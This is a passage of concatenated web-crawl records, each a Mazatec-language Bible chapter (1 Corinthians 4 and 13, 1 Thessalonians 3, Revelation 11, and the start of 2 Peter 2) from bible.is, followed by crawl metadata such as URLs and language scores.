ko̱ tsà ch'oó tjín xá xi tìs'iaàn. 4'A̱n, na̱s'ín k'oa̱s'ín sìkítsjeèn nga tsjìn‑na jé, ta̱nga mìtsà tsò‑ne kjoa̱ nga nguì xi̱ta̱ kixi̱‑ná. Nga̱ jè Na̱'èn‑ná xi bíndaàjiìn‑na. 5K'oa̱á ma‑ne kì tà chjà jé bìnè‑là xinguio̱o nga ti kj'eè bijchó na̱chrjein. Chíña‑kjoa̱a k'e̱ nga kjoi̱í Na̱'èn‑ná xi síhiseèn nga jcha̱‑la̱ kjoa̱ xi tjí'ma ñánda nga jñò choòn. Koa̱ si̱ìkatsejèn kó tsò kjo̱hítsjeèn xi tjíjiìn ini̱ma̱‑la̱ xi̱ta̱. I̱kjoàn Nainá jeya si̱ìkíjna koni s'ín nga ok'ìn‑la̱ nga jngoò ìjngoò xi̱ta̱. 6Ndí 'ndsè ko̱ tichjaá, koi 'én tìchjàko̱‑nò kjoa̱ xi mangásòn i̱t'aà ts'a̱n ko̱ i̱t'aà ts'e̱ Apolos xi kjo̱ndaà tsa̱jòn mé‑ne nga mìkiì si̱katonè‑là koni tsò 'én‑la̱ Nainá. Kì k'oa̱á s'ín nìkítsjeèn nga jngoò chi̱'nda‑la̱ Nainá ìsa̱ ndaà nachrjenguioò koni chi̱'nda xi i'nga. 7Jñò, ¿mé‑ne koa̱ bixón‑nò nga ìsa̱ 'ñó chjí‑nò koni xi̱ta̱ xi i'nga? ¿Mé kjo̱ndaà xi tjín‑nò xi mìtsà Nainá kitsjaà‑nò? Tsà jye kitjoé‑nò ngats'iì kjo̱ndaà, ¿mé‑ne nga 'nga ma‑ne takòn koni tsà ta nga'ñó tsa̱jòn kisakò‑nò? 8Jñò, k'oa̱á s'ín machi̱ya‑nò koni tsà jyeé ma yije‑nò, koni tsà 'ñó xi̱ta̱ nchi̱ná i̱t'aà ts'e̱ Nainá. K'oa̱á s'ín nìkítsjeèn koni tsà xi̱ta̱xá ítjòn titsa̱jnaà ko̱ ngaje̱n mìtsà xi̱ta̱xá titsa̱jna‑je̱n. Ndaà‑la̱ tjín tsà kixi̱ kjoa̱ nga otìxoma, mé‑ne ngaje̱n ko̱ma kotìxomako̱‑nòje̱n. 9'A̱n, k'oa̱á s'ín sìkítsjeèn, ngaje̱n xi i̱t'aà ts'e̱ Cristo kisìxáya‑naje̱n, Nainá k'oa̱á s'ín kiskoòsòn‑la̱ nga ngaje̱n‑náje̱n xi fehet'aà‑ne, xi tjínè‑naje̱n nga ki̱yá‑je̱n nga nguixko̱n i̱sò'nde, nga nguixko̱n xi̱ta̱ ko̱ àkja̱le̱. Jñà xi̱ta̱, tà nchikotsejèn‑naje̱n nga tsja ma‑la̱ mé kjo̱'in xi tímat'in‑je̱n. 10Ngaje̱n, xi kjoa̱ ts'e̱ Cristo, xi̱ta̱ ská 'yatakòn‑naje̱n; ta̱nga jñò, i̱t'aà ts'e̱ Cristo, k'oa̱á s'ín 'ya‑nò nga 'ñó tjín‑nò kjoa̱chji̱ne̱. Ngaje̱n, k'oa̱á s'ín 'yatakòn‑naje̱n nga xi̱ta̱ indaàkjoa̱‑náje̱n; ta̱nga jñò, xi̱ta̱ tájaà‑nò. Ngaje̱n, mì yá xi̱ta̱ beèxkón‑naje̱n; jñò, beèxkón‑nò xi̱ta̱. 11Skanda jè hora jè, kjinchrá‑naje̱n, xíndá‑naje̱n, tsjìn‑naje̱n nikje xi chíkjá‑je̱n, 'ñó beètoòn‑naje̱n xi̱ta̱, tà tjaàsòn‑naje̱n, tsjìn‑naje̱n ni'ya. 12Skanda bijtaá‑naje̱n nga 'ñó nìxá‑je̱n. K'e̱ nga chja̱'on‑ko̱‑náje̱n xi̱ta̱, ngaje̱n, nìjét'aà‑la̱je̱n Nainá nga kàtasíchikon‑t'in. K'e̱ nga kondra̱ fì‑na̱je̱n xi̱ta̱, chíkjoa̱ko̱ó‑naje̱n. 13'On chja̱ko̱‑naje̱n xi̱ta̱, ngaje̱n ndaà nokjoá‑la̱je̱n. K'oa̱s'ín beè takòn‑naje̱n koni tsà tjé‑la̱ i̱sò'nde. Skanda na̱chrjein i̱'ndei̱, jñà xi̱ta̱ k'oa̱á s'ín beètakòn‑naje̱n koni tsojmì xi ningui‑ne nga bíxteèn. 14Koni s'ín tìkjiì‑nò, mìtsà tìs'iìn sobà‑nò. Kjo̱hítsjeèn tìtsja jngoò‑nò koni tsà i̱xti ts'a̱n xi matsjake̱. 15Na̱s'ín te jmiì ma‑ne xi okóya‑nò i̱t'aà ts'e̱ Cristo, ta jngoò ma‑ne xi na̱'èn‑nò. 'A̱n‑ná xi komà na̱'èn‑nò nga mokjeiín‑nò i̱t'aà ts'e̱ Cristo Jesús nga 'a̱án tsibeno̱jmí ítjòn‑nò 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo. 16K'oa̱á ma‑ne bìtsi'bà‑nò nga k'oa̱s'ín ti̱jchá yijo‑nò koni 'a̱n. 17Koií kjoa̱‑la̱ tìsìkasén‑nò Timoteo, xi ki'ndí‑na̱ xan‑la̱ nga 'ñó matsjake̱ ko̱ kixi̱ síxá‑la̱ Na̱'èn‑ná. Jè si̱ìkítsjeèn‑nò kós'ín tìjna̱koa̱ Cristo Jesús nga mokjeiín‑na̱ i̱t'aà ts'e̱, koa̱ kós'ín okoòya‑la̱ xi̱ta̱ na̱xa̱ndá‑la̱ Cristo nga kijndà na̱xa̱ndá ñánda bijchoa. 18Tjín i'nga xi̱ta̱ xinguio̱o xi 'ñó 'nga chja̱, k'oa̱á‑là s'ín síkítsjeèn tsà mìkiì kjíkon‑nò. 19Ta̱nga tsà Nainá mejèn‑la̱, kjíkon ni̱to̱ón‑nò. K'e̱ nga kìjchoa, skoeè jñà xi̱ta̱ xi 'nga chja̱, a nga'ñó‑la̱ Nainá xi tjín‑la̱ a xi tà jè 'én‑la̱ xi 'nga chja̱. 20K'e̱ nga jè Nainá tíhotíxoma jngoò‑la̱ xi̱ta̱, mìtsà ta kjoa̱ ts'e̱ 'én mochjeén, ko̱ó nga'ñó‑la̱ Nainá mochjeén. 21Jñò, ¿kós'ín mejèn‑nò nga kjián? ¿A mejèn‑nò nga kjo̱'in tsjaà‑nò k'e̱ nga kìjchokon‑nò, a xi mejèn‑nò nga ko̱ kjo̱ndaà‑na̱ ko̱ kjo̱tsja‑na̱ kìjchokon‑nò?\n1 Corintios 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1Cor\/4","date":"2013-12-05T06:00:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163040130\/warc\/CC-MAIN-20131204131720-00008-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.000008225440979}","num_words":584,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.286,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga mì ti̱ kiì komà kichìkjoa̱ ìsa̱‑naje̱n nga mejèn‑naje̱n si̱jiìn‑naje̱n kó s'ín titsa̱jnaà ján Tesalónica, k'oa̱á komà‑ne nga kichibàya‑naje̱n nga kinìkasén‑je̱n jè 'ndsè Timoteo, ko̱ ngaje̱n ya̱á tsitsa̱jna‑je̱n Atenas. 2Kinìkasén‑je̱n jè 'ndseé Timoteo, chi̱'nda‑la̱ Nainá‑né nga ti̱koa̱á chja̱ya 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo koni ngaje̱n. Koií xá kiìkon‑nò mé‑ne nga kàtatsjá‑ìsa‑nò nga'ñó nga ìsa̱ 'ñó ndaà kixi̱ ki̱tsa̱jnaà koni s'ín mokjeiín‑nò, 3mé‑ne nga ni̱jngoò xi si̱hindaà‑ne kjoa̱ ts'e̱ kjo̱'in xi titsa̱nìkjioón. Jñò, jyeé ndaà tíjiìn‑nò nga k'oa̱á s'ín tjínè‑la̱ nga ko̱s'ín ko̱mat'iaán. 4K'e̱ nga ti̱sa̱ ya̱ titsa̱jnako̱‑nòje̱n, k'oa̱á ki'mì‑nòje̱n nga kjo̱'iín s'e̱‑ná. I̱'ndei̱, jyeé titsa̱'yaà nga k'oa̱á s'ín tímat'ioòn. 5Koií kjoa̱‑la̱ nga mì ti̱ kiì kiskoòñà kjoa̱‑na; kisìkasén Timoteo nga mejèn‑na skoeè kós'ín titsa̱jnako̱o jè 'én xi mokjeiín‑nò. Tìmakájno‑na tsà jye kiskoòna̱cha̱n‑nò jè xi̱ta̱ nei̱í. Tsà koií na̱chrjein‑la, xá xi ki'nè‑je̱n, tsà ta kichijà‑né. 6I̱'ndei̱, jè Timoteo jyeé j'iì‑ne nga kiì Tesalónica; ndaà tsò o̱kixi̱ xi 'ya‑naje̱n i̱t'aà tsa̱jòn koni s'ín mokjeiín‑nò ko̱ nga tjín‑nò kjo̱tsjacha. K'oa̱á s'ín tsibéno̱jmí‑naje̱n nga kjit'aà na̱chrjein tsjaá ma‑nò nga nìkítsjeèn‑náje̱n. Ti̱koa̱á mejèn‑nò nga jcha̱xkoòn‑náje̱n koni ngaje̱n ti̱koa̱á mejèn‑naje̱n jcha̱xkoòn‑nòje̱n. 7K'oa̱á ma‑ne ndí 'ndsè ko̱ ndí tichjaá, na̱s'ín kjo̱'in ko̱ kjoa̱ kondra̱ titsa̱jnajiìn‑je̱n, k'e̱ nga kina'yà‑je̱n i̱t'aà tsa̱jòn nga 'ñó ndaà mokjeiín‑nò i̱t'aà ts'e̱ Cristo, ti̱koa̱á ngaje̱n, 'ñó ndaà kjòtsja‑naje̱n. 8K'e̱ nga kina'yà‑je̱n nga kixi̱ onguít'aà‑là Na̱'èn‑ná, ngaje̱n jyeé mì ti̱ mé makájno‑naje̱n. 9Ngaje̱n, 'ñó tse kjo̱tsja tjín‑naje̱n nga nguixko̱n Nainá xi kjoa̱ tsa̱jòn skanda mì‑la kiì kjoe̱het'aà na̱chrjein nga k'oi̱‑la̱je̱n kjo̱ndaà Nainá. 10Ko̱ na̱chrjein ko̱ ni̱tje̱n nokjoàt'aà‑la̱je̱n Nainá mé‑ne nga tsjá'nde‑ne nga ko̱ma ko̱nguíchoòn‑nòje̱n. Ti̱koa̱ ko̱ma ko̱kòya‑ìsa‑nòje̱n mé‑ne nga ko̱jngoò‑ne 'én xi chijat'aà‑nò koni s'ín mokjeiín‑nò. 11Mejèn‑naje̱n nga ti̱jè‑ne Na̱'èn‑ná xi Nainá ko̱ jè Jesucristo xi otíxoma‑ná, kàtatsjá'nde‑naje̱n nga ko̱ma ko̱nguíchoòn‑nòje̱n. 12Jè kjo̱tsjacha‑la̱ Na̱'én‑ná ìsa̱ ndaà kàtasijiìn ini̱ma̱‑nò, mé‑ne nga ìsa̱ ndaà ko̱tsjacha‑nò xinguio̱o ko̱ ngats'iì xi̱ta̱ xi kj'ei̱í, koni ngaje̱n, ndaà matsjacha‑nòje̱n. 13Jè Na̱'èn‑ná kàtatsjá‑la̱ nga'ñó ini̱ma̱‑nò mé‑ne nga ni̱mé jé sa̱kòt'aà‑nò ko̱ tsjeè ki̱tsa̱jnaà nga nguixko̱n Nainá xi Na̱'èn‑ná k'e̱ nga kjoi̱í ìjngoò k'a‑ne Jesucristo xi otíxoma‑ná nga tji̱ko̱ ngats'iì xi ya̱ chja̱‑ne.\n1 Tesalonicenses 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1Thess\/3","date":"2013-12-08T23:02:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163826391\/warc\/CC-MAIN-20131204133026-00018-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000040531,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000040531158447}","num_words":335,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.269,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'A̱n, tsà ma‑na chjà jñà 'én xi kj'ei̱í tsò xi chja̱ xi̱ta̱ na̱s'ín jñà 'én xi chja̱ àkja̱le̱, ta̱nga tsà tsjìn‑na kjoa̱tjòcha, nìmé chjí‑la̱; k'oa̱á ngaya‑na koni jngoò ki̱cha̱ xi 'ñó one, o koni jñà ki̱cha̱ tsji̱n xi ch'o one k'e̱ nga kaàkjoò. 2Tsà tsjìn‑na kjoa̱tjòcha, ni̱mé chjí‑na na̱s'ín ma‑na chjà ngajo‑la̱ Nainá, na̱s'ín machi̱ya yije‑na kjoa̱ xi tjí'ma‑la̱ Nainá; na̱s'ín ma yije‑na kjoa̱ chji̱ne̱, na̱s'ín ndaà mokjeiín yije‑na i̱t'aà ts'e̱ Nainá, skanda ma‑na síkjaníyá‑la̱ nindoò. 3Tsà sika'biá yije tsojmì xi tjín‑na nga ko̱kje̱n xi̱ta̱ i̱ma̱, koa̱ tsjaà kjo̱tjoà yijo‑na̱ nga ki̱ti̱ xi kjo̱ndaà ts'e̱ xi̱ta̱ xi kj'ei̱í, ta̱nga tsà tsjìn‑na kjoa̱tjòcha, ni̱mé sìkijne. 4Jè xi̱ta̱ xi tjín‑la̱ kjoa̱tjòcha, tjín‑la̱ kjoa̱tsetakòn ni̱ta̱ mé kjoa̱‑ne; tjín‑la̱ kjo̱ndaà; mìkiì maxìtakòn; mìtsà 'én 'nga chja̱; ko̱ mìtsà ti̱jè ndaà síkíjna‑ne yijo‑la̱; 5mìtsà ta̱xki̱ s'ín; mìtsà tà kjo̱ndaà ts'e̱ ótsji; mìkiì ta̱xki̱ majti‑la̱; ni̱mé kjoa̱ bíngui takòn; 6mìtsà matsja‑la̱ i̱t'aà ts'e̱ kjoa̱ xi ch'o tjín, ts'e̱é kjoa̱ kixi̱ xi matsja‑la̱. 7Jè xi tjín‑la̱ kjoa̱tjòcha, síkjeiín yije‑la̱ ni̱ta̱ mé kjoa̱‑ne, mokjeiín yije‑la̱, koña yije‑la̱, chíkjoa̱ko̱ yije‑la̱ ngats'iì kjoa̱. 8Jè kjoa̱tjòcha mìkiì kjoe̱het'aà. Ta̱nga ki̱jchò na̱chrjein nga mì ti̱ yá xi ki̱chja̱ ngajo‑la̱ Nainá, nga mì ti̱ yá xi ki̱chja̱‑ne 'én xi kj'ei̱í tsò xi mì yá xi̱ta̱ fìya‑la̱ ko̱ nga mì ti̱ yá xi tjoé‑la̱ kjo̱hítsjeèn xi tjí'ma‑la̱ Nainá. 9Nga kj'eè tsà nguì ndaà tíjiìn yije‑ná kjo̱hítsjeèn xi tjí'ma‑la̱ Nainá, ko̱ kj'eè tsà nguì ndaà nokjoà ngajo‑lá Nainá. 10Ta̱nga k'e̱ nga ki̱jchò na̱chrjein nga kjoi̱í xi ni̱mé chijat'aà‑la̱, ya̱á kjoe̱het'aà jñà kjoa̱ xi ta chiba machi̱ya‑ná. 11K'e̱ nga sa̱ chítia, k'oa̱á s'ín kichjà koni chja̱ i̱xti, k'oa̱s'ín kisìkítsjeèn koni s'ín síkítsjeèn i̱xti, k'oa̱s'ín kiskoòsòn‑la̱ koni i̱xti. Ta̱nga k'e̱ nga jye kòjchínga, kisìkíjna‑ná kjoa̱ ts'e̱ i̱xti. 12I̱'ndei̱, ta k'oa̱á s'ín 'yaá Nainá koni tsà chi̱tsín jmà chítsejèn‑yaá nga mìkiì ndaà tsejèn‑ná. Ta̱nga ki̱jchò na̱chrjein k'e̱ nga ndaà ko̱tsejèn‑ná nga chí'aán Nainá. I̱'ndei̱ ta̱ chibaá machi̱ya‑na, ta̱nga ki̱jchò na̱chrjein nga ndaà ko̱chi̱ya‑na koni s'ín beèxkon‑na Nainá. 13Ján kjoa̱ tjín xi mìkiì kjoe̱het'aà, jngoò kjoa̱ nga mokjeiín‑ná i̱t'aà ts'e̱ Nainá, ìjngoò nga chiñà‑lá xi tjoé‑ná, ìjngoò nga s'e̱‑ná kjoa̱tjòcha. Jñà ingajàn kjoa̱ koi, jè kjoa̱tjòcha xi ìsa̱ 'ñó chjí‑la̱.\n1 Corintios 13","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1Cor\/13","date":"2013-12-10T16:25:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164022163\/warc\/CC-MAIN-20131204133342-00034-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"maa_Latn_score\": 1.0000075101852417}","num_words":352,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.273,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱é kits'iì jngoò‑na yá xi ma machi̱ba̱ya‑ne, xi k'oa̱ kji koni kjoàn yá nise. Ki'mì‑na: ―Ti̱sítji̱in, ti̱chi̱ba̱yi jè i̱ngo̱ ítjòn‑la̱ Nainá ko̱ jè ími̱xa̱ tsjeè‑la̱. Tìxke̱yi kótjín ma‑ne jñà xi̱ta̱ xi ya̱ beèxkón Nainá. 2Jè ndi̱tsin xi kijnat'aà‑la̱ i̱ngo̱, kì kiì nìchi̱ba̱yi nga jñá kitjoé‑la̱ xi ta̱xki̱ xi̱ta̱ xi mìtsà xi̱ta̱ judío. Jñà xi̱ta̱ koi, ichán jò sá ko̱tìxoma ya̱ Jerusalén xi i̱'nde tsjeè‑la̱ Nainá. 3'A̱án siìkasén ingajò xi̱ta̱‑na̱ xi tsjá 'én i̱t'aà ts'a̱n nga ki̱chja̱ya jngoò jmiì ko̱ jò sìndo̱ ko̱ jàn‑kaàn na̱chrjein; ko̱ jñà nikje xi ko̱kjá, nikje jmà kjoàn xi ts'e̱ kjoa̱ba. 4Jñà ingajò xi̱ta̱ xi tsjá 'én, jñà‑né ingajò yá olivo ko̱ ingajò ki̱cha̱ candelero xi jncha kixi̱ nguixko̱n Nainá xi otíxoma‑la̱ i̱sò'nde. 5Tsà yá xi mejèn‑la̱ si̱ìki'on xi̱ta̱ koi; ni'ín ko̱chrje tso'ba xi jngoò k'a ko̱kà jñà xi kondra̱‑la̱. K'oa̱á s'ín ki̱yá yije, ni̱ta̱ yá‑ne xi mejèn‑la̱ si̱ìki'on. 6Jñà xi̱ta̱ koi tjín‑la̱ nga'ñó nga ma‑la̱ ki̱ìchjoà‑la̱ ngajmiì mé‑ne mì ti̱ kiì k'oa̱‑ne jtsí jñà na̱chrjein k'e̱ nga ki̱chja̱ya. Ti̱koa̱á tjín‑la̱ nga'ñó i̱t'aà ts'e̱ nandá nga ma‑la̱ nga jní s'i̱in; ko̱ ko̱maá‑la̱ kjìn sko̱ya kjo̱'in tsjá‑la̱ xi̱ta̱ i̱sò'nde; ko̱maá‑la̱ nga ko̱s'ín s'i̱in ni̱ta̱ kótjín k'a mejèn‑la̱ nga s'i̱in. 7Ingajò xi̱ta̱ koi, k'e̱ nga jye tsjá 'én‑la̱, jè cho̱ je xi ch'o kji xi bitjomijìn‑ne ya̱ ni̱tja̱n jñò, ska̱àn‑ko̱‑né, ko̱ si̱ìkijne‑la̱, i̱kjoàn ki̱yá ingajò xi̱ta̱ koi. 8Jñà yijo‑la̱ xi̱ta̱ koi, ya̱á si̱yijò osen ndi̱tsin‑la̱ na̱xa̱ndá ítjòn, ñánda kisit'aà krò Na̱'èn‑ná. Jè 'ín‑la̱ na̱xa̱ndá ítjòn xi o̱kji, k'oa̱á s'ín ngaya‑la̱ koni Sodoma, o Egipto. 9Xi̱ta̱ xi ya̱ inchrobàjiìn‑ne na̱xa̱ndá xi tjín i̱sò'nde, ko̱ ngats'iì tje̱‑la̱ xi̱ta̱ xi tjín i̱sò'nde, ko̱ xi̱ta̱ xi chja̱ ngats'iì 'én xi tjín, ko̱ xi̱ta̱ xi ya̱ nchrobá‑ne ngats'iì nangui xi tjín i̱sò'nde, ján na̱chrjein osen skótsejèn‑jno yijo‑la̱ mik'en; ko̱ mìkiì tsjá'nde nga si̱ìjiìn jñà xi̱ta̱ koi xi jò ma‑ne. 10Jñà xi̱ta̱ xi tjín i̱sò'nde ko̱tsjaá‑la̱ nga jye k'en xi̱ta̱ koi; tsjá kjo̱tjò‑la̱ tsojmì xi̱ta̱ xíkjín. Koií k'oa̱s'ín s'i̱in‑ne nga jñà ingajò xi̱ta̱ xi chja̱ ngajo‑la̱ Nainá, tseé kjo̱'in tsjá‑la̱ jñà xi̱ta̱ i̱sò'nde. 11K'e̱ nga jye tsato xi jàn na̱chrjein osen, jè Nainá kisìkítsa̱jnakon ìjngoò k'a‑ne nga jaáya‑la̱; i̱kjoàn chincha kixi̱ ìjngoò k'a‑ne; ko̱ ngats'iì xi̱ta̱ xi kijtseè, 'ñó jchán kitsakjòn. 12Ingajò xi̱ta̱ koi kiì'nchré jngoò‑la̱ jta̱ xi 'ñó kiìchja̱ xi ngajmiì inchrobà‑ne, kitsò‑la̱: ―Nchrobá‑mijìn‑jno i̱jndé. I̱kjoàn kiìmijìn‑jiìn ifi ján ngajmiì. Ngats'iì jñà xi̱ta̱ kondra̱‑la̱ kijtseè‑né. 13Ti̱k'e̱é‑ne j'iì jngoò ch'ón xi 'ñó jchán ts'a; jngoò ya na̱xa̱ndá chixoña xi ma‑ne te ya kóho̱kji na̱xa̱ndá; ko̱ jè kjoa̱‑la̱ ch'ón, itoò jmiì xi̱ta̱ k'en. Jñà xi̱ta̱ xi tsiningui‑ne, ndaà jchán kitsakjòn. I̱kjoàn kiìchja̱t'aà‑la̱ Nainá xi tíjna ngajmiì nga jeya kisìkíjna. 14Jyeé tsato kjo̱'in xi ma‑ne jò xi ta̱xki̱ 'oón komàt'in xi̱ta̱; ta̱nga nchrobá ni̱to̱ón xi ma‑ne jàn k'a. 15Jè xi ma‑ne itoò àkja̱le̱ kisìkjindáya chrjo‑la̱; kjín jchán jta̱ kina'yà‑la̱ ngajmiì xi 'ñó kiìchja̱ nga kitsò: Jñà kjo̱tíxoma xi tjín i̱sò'nde, jyeé ts'e̱ Na̱'èn‑ná xi otíxoma‑ná ko̱ jè Cristo xi xó kinìkasén‑ne. Jè ko̱tìxoma ni̱ta̱ mé na̱chrjein‑ne. 16Jñà xi̱ta̱ jchínga xi kaàn ñijòn ma‑ne, xi títsa̱jnanè íxi̱le̱ nga nguixko̱n Nainá, chincha-xkó'nchi-ñiat'aà‑la̱ nga kijtseèxkón Nainá. 17Kitsò: Na̱'èn xi Nainá 'mì‑lè. Ndaà chjí‑lè nga ta ji̱ ta̱ jngoò‑né xi 'ñó tse nga'ñó tjín‑lè, ngaji̱ xi tijni i̱'ndei̱, ko̱ xi tijni skanda kjòtseé, [ko̱ xi sa̱ kjoi̱i ìjngoò k'a‑ne]. Tì'biì‑lèje̱n kjo̱ndaà nga jyeé kachjoí nga'ñó xi tjín‑lè; ko̱ jyeé kòbíts'i̱i nga ji̱ tìhotìxomai. 18Jñà xi̱ta̱ xi ta̱xki̱ xi̱ta̱ xi mìtsà xi̱ta̱ judío jyeé kòjti‑la̱; ta̱nga jyeé ijchò na̱chrjein‑la̱ kjo̱jti‑lè k'e̱ nga ji̱ k'oi̱‑la̱ kjo̱'in xi̱ta̱ koi, jè na̱chrjein k'e̱ nga ji̱ kíndaàjiìn‑la̱ jñà xi̱ta̱ xi jye k'en ko̱ k'oi̱‑la̱ kjo̱tjò xi ok'ìn‑la̱ nga tjoé‑la̱ xi̱ta̱ chi̱'nda‑lè xi kiìchja̱ ngajo‑lè ko̱ jñà xi̱ta̱‑la̱ Nainá ko̱ ngats'iì xi beèxkón‑lè, jñà xi jtobá kjoàn ko̱ xi̱ta̱ jchínga. Si̱kjehesoìn jñà xi̱ta̱ xi ma‑la̱ síkjehesòn xi̱ta̱ na̱xa̱ndá i̱sò'nde. 19Ján ngajmiì kitáx'a̱ i̱'nde tsjeè‑la̱ Nainá; ya̱ i̱ya i̱'nde tsjeè‑la̱ ki'ya‑la̱ jè kaxa̱ ts'e̱ kjoa̱ xi tsibíndaàjiìn Nainá ko̱ jñà xi̱ta̱. I̱kjoàn jate ni'ín ch'o̱n, kina'yà‑la̱ jta̱, kits'iìn ch'o̱n, ts'a ch'ón, ts'a jtsí nda̱jo̱ xi 'ñó tsiaàn kjoàn.\nApocalipsis 11","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/11","date":"2013-12-10T03:48:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164006951\/warc\/CC-MAIN-20131204133326-00014-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000063180923462}","num_words":652,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.324,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tanga ki'seé‑te ya̱ a̱jin na̱xi̱ndá Israel xi̱ta̱ ra ta iskonda̱cha̱, ra mì tsa kixi̱ kjoa̱ nga jè Nainá kiìchja̱ya ngajo‑la̱; 'koa̱á ti̱'sín 'se̱‑te ya̱ a̱jin tsa̱jiòn, xi̱ta̱ ra ta sko̱ónda̱cha̱‑te ra ki̱tso̱ nga maá‑la̱ bakón‑ya ra a̱'ta 'tse̱ Nainá. Jñà xi̱ta̱ kìi̱, nda mí jcha̱‑la̱ kó'sín nga si̱ìkjaha'sen‑jin‑najiòn kjo̱bítsjen ra si̱ìkitsón‑no ra a̱'ta 'tse̱ Nainá. Ko̱ skanda ko̱chrjengií jñà xi̱ta̱ kìi̱ Na̱'ín‑ná ra tsikíchjítjì‑ná; tanga 'kia̱ nga ko̱'sín 'si̱in, ti̱jñá koa̱àtsji‑ni kjo̱hi'in ra ta ndi̱to̱ón si̱ìjchijajin ijo‑la̱. 2Kjín xi̱ta̱ ya̱ ki̱ji̱tji̱ngi‑la̱ nga ko̱'sín 'si̱in koni 'sín tjín kjoa̱ nañá ra 'sín; ko̱ ta jñá nga̱tjì‑la̱ jñà xi̱ta̱ ndiso kìi̱ nga̱ jè ra ndi̱yá kixi̱ 'choó ki̱nákjoa̱jno‑la̱. 3Jñà xi̱ta̱ kìi̱, ta jé mejèn‑la̱ nga isa̱ tse tsajmì 'se̱‑la̱; 'koa̱á ma‑ni nga ta tsò ta maá 'én ra bínda nga ma ko̱chrjekàjno‑no to̱n. Jñà xi̱ta̱ kìi̱, ti̱'sa̱ kjotseé tíjnanda‑ni kjo̱hi'in ra ko̱ko̱‑la̱, ko̱ mì kì ma ko̱tojin kjo̱hi'in kìi̱. 4Jè Nainá nda mí isìhijcha'ta‑la̱ jñà ìkja̱li̱ ra tsakátsji‑jé; ta isa̱á ya̱á isìkatsajo ya̱ i̱'nde ñánda̱ tjín kjo̱hi'in, ko̱ ya̱á isíkítsa̱jna'ñó ya̱ ñánda̱ jñò chon mé‑ni nga ya̱ katakoñá‑ni skanda 'kia̱ nga jè Nainá ki̱ìndajín‑la̱. 5Jè Nainá, ti̱'koa̱á skanda mí isìhijcha'ta‑la̱ xi̱ta̱ i̱sà'nde ra ki'se kjotseé, ta isa̱á jngo jtsí xkón isìkasén‑nè nga'tsì xi̱ta̱ 'cho ra tjín 'kia̱. Ta jé xi̱ta̱ ra tsi'kìn Noé isikatojin, jè ra kiìchja̱ya‑la̱ xi̱ta̱ kó'sín nga kixi̱ si̱ìjchá ijo‑la̱, ko̱ ngi ito xi̱ta̱ tsato‑isa ra a̱'ta 'tse̱ jtsí xkón. 6Nainá ti̱'koa̱á skanda isikjehesòn ijyeé‑te nga'tsì xi̱ta̱‑la̱ na̱xi̱ndá Sodoma ko̱ na̱xi̱ndá Gomorra. Ngi ta chijoó ki'sìn‑isa, 'koa̱á 'sín tsikíjna koni jngo xkósòn, mé‑ni nga kata'ya‑la̱ kó'sín ko̱ma'tin jñà xi̱ta̱ ra kondra̱ títsa̱hijyo‑la̱ Nainá. 7Tanga jè xi̱ta̱ ra tsi'kìn Lot ra xi̱ta̱ kixi̱ ya̱ ngixko̱n Nainá, isikatojiín kjo̱hi'in. Jè Lot 'ñó 'cho kjomà‑la̱ koni 'sín ta 'cho isíjchá ijo‑la̱ xi̱ta̱ kìi̱. 8Nga̱ ya̱á tsikijnajin‑la̱ jñà xi̱ta̱ kìi̱ ra 'ñó 'cho ki'sìn, tseé kjo̱hi'in isìkjiín ndí inìma̱‑la̱ nga ni̱chjin nchijòn, ta nga̱tjì‑la̱ jñà kjoa̱ ra 'ñó 'cho tjín ra kijtse ko̱ ra kií'nchré nga ki'ta ni̱chjin. 9I̱í i̱jndíi̱ síchi̱ya‑ná nga jè Na̱'ín‑ná maá‑la̱ síkatojin kjoa̱ jñà xi̱ta̱ ra nda kji'ta ikon Nainá; ko̱ síkítsa̱jnandaá jñà xi̱ta̱ ra 'ñó 'cho 'sín, mé‑ni nga tsjá‑la̱ kjo̱hi'in 'kia̱ nga ki̱jchò ni̱chjin nga si̱ndajín‑la̱ nga'tsì xi̱ta̱. 10Ko̱ jñá kjón tsjá ítjòn‑la̱ kjo̱hi'in, jñà xi̱ta̱ ra 'ñó tsjake kjoa̱ ra faajin‑la̱ ijo‑la̱ ra 'ñó tjé tjín ya̱ ngixko̱n Nainá ko̱ nga bachrjengi 